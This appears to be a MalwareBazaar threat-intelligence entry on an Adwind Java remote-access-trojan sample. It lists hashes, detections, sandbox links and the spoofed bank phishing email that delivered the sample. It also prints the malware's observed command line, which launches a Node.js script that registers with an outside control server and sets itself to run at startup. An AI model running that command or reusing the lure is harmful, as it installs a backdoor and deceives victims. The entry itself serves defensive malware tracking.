MalwareBazaar Database

You are currently viewing the MalwareBazaar entry for SHA256 23b21f7ff1ed2c93e6c695d432b1dfab2afeb52a202433f47183081f5b0ece47. While MalwareBazaar tries to identify whether the sample provided is malicious or not, there is no guarantee that a sample in MalwareBazaar is malicious.

Database Entry


Adwind


Vendor detections: 4


Intelligence 4 IOCs YARA File information Comments
Download sample Add tag Delete this sample Report a False Positive

SHA256 hash: 23b21f7ff1ed2c93e6c695d432b1dfab2afeb52a202433f47183081f5b0ece47
SHA3-384 hash: 7a406267085b17b78c6027f1a06b46f497fdc2be6d8c2b09b0ff1297385ad90c690204ff5009cc982062b40f52186d36
SHA1 hash: a482fd8fd8190954c820d43294f01db706b51907
MD5 hash: 08c04b836ffcd80f4c51585a69aedfcd
humanhash: gee-music-mexico-echo
File name:117-202056-43496_117-50-202056-43496.jar
Download: download sample
Signature Adwind
Create hunting rule
File size:8'178 bytes
First seen:2020-05-06 16:59:16 UTC
Last seen:Never
File type:Java file jar
MIME type:application/java-archive
ssdeep 192:6Jlr9NG4oPRxA69LWL9v294GxUGpp8EjOloIq:6nr9NSxA69yjGR8giq
TLSH 33F16B3C1ED0D431FB0F3336E390A10B85FA80E9438D646B869AB0970DB94855F279ED
Reporter abuse_ch
Tags:Adwind jar qua RAT


Avatar
abuse_ch
Malspam distributing Adwind:

HELO: mout.kundenserver.de
Sending IP: 212.227.126.133
From: DBSeAdvice@dbs.com <dbseadvice@dbs.com>
Reply-To: dbseadvice@dbs.com
Subject: Bank Fund Transfer//00017
Attachment: 117-202056-43496_117-50-202056-43496.RAR (contains "117-202056-43496_117-50-202056-43496.jar")

C:\Users\USERNAME\qnodejs-node-v13.13.0-win-x64\node.exe C:\Users\USERNAME\qnodejs-node-v13.13.0-win-x64\qnodejs\wizard.js start --central-base-url https://central.qhub.qua.one --group user:1719@qhub-subscription.store.qua.one --register-startup

Intelligence

File Origin
# of uploads :
1
# of downloads :
83
Origin country :
n/a
Vendor Threat Intelligence
Detection(s):
SecuriteInfo.com.Java.Agent.BJZ.836.26865.UNOFFICIAL
Create hunting rule

Gathering data
Threat name:
ByteCode-JAVA.Trojan.Frs
Create hunting rule
Status:
Malicious
First seen:
2020-05-06 06:35:03 UTC
File Type:
Binary (Archive)
Extracted files:
8
AV detection:
12 of 48 (25.00%)
Threat level:
  2/5
Detection(s):
Malicious file
Link:
https://check.spamhaus.org/check/?searchterm=eozb677r5uwjhzwgsxkdfmo7vmvp5njkeasdh5drqmeb6wyozzdq._file
Verdict:
unknown
Result
Malware family:
qnodeservice
Create hunting rule
Score:
  10/10
Tags:
family:qnodeservice trojan
Link:
https://tria.ge/reports/201109-7cfw5cv48x/
Behaviour
QNodeService
Please note that we are no longer able to provide a coverage score for Virus Total.

File information

The table below shows additional information about this malware sample such as delivery method and external references.

Malspam

Adwind

rar cb49b3940531bc06fa3c491c14afffad0b2ddd8acda36e3efa37dfe06881adbf

Adwind

Java file jar 23b21f7ff1ed2c93e6c695d432b1dfab2afeb52a202433f47183081f5b0ece47

(this sample)

  
Dropped by
MD5 392989380ad738dbf6e53593087f60ae
  
Delivery method
Distributed via e-mail attachment
  
Dropped by
SHA256 cb49b3940531bc06fa3c491c14afffad0b2ddd8acda36e3efa37dfe06881adbf

Comments